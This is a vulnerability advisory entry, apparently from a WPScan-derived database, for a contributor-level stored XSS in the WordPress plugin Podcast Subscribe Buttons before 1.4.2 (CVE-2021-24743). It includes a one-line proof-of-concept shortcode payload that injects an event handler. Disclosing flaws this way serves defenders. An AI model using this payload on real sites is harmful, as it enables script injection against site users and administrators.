Lucene search
Apple502jWPVDB-ID:998395F0-F176-45B9-BAF7-B50D30538C7DHistorySep 15, 2021 - 12:00 a.m.
Podcast Subscribe Buttons < 1.4.2 - Contributor+ Stored XSS
2021-09-1500:00:00
apple502j
wpscan.com
11
podcast subscribe buttons
stored xss
contributor+
shortcode block
EPSS
0.001
Percentile
24.8%
The plugin allows users with any role capable of editing or adding posts to perform stored XSS.
PoC
Add the below payload as a shortcode block: [podcast_subscribe alignment=‘" style=“animation-name:twentytwentyone-close-button-transition” onanimationend="alert(origin)//’]
Related
cnvd
cnvd
prion
prion
Cross site scripting
2021-10-18 14:15:00
nvd
nvd
CVE-2021-24743
2021-10-18 14:15:09
patchstack
patchstack
wpexploit
wpexploit
Podcast Subscribe Buttons < 1.4.2 - Contributor+ Stored XSS
2021-09-15 00:00:00
cvelist
cvelist
CVE-2021-24743 Podcast Subscribe Buttons < 1.4.2 - Contributor+ Stored XSS
2021-10-18 13:46:09
cve
cve
CVE-2021-24743
2021-10-18 14:15:09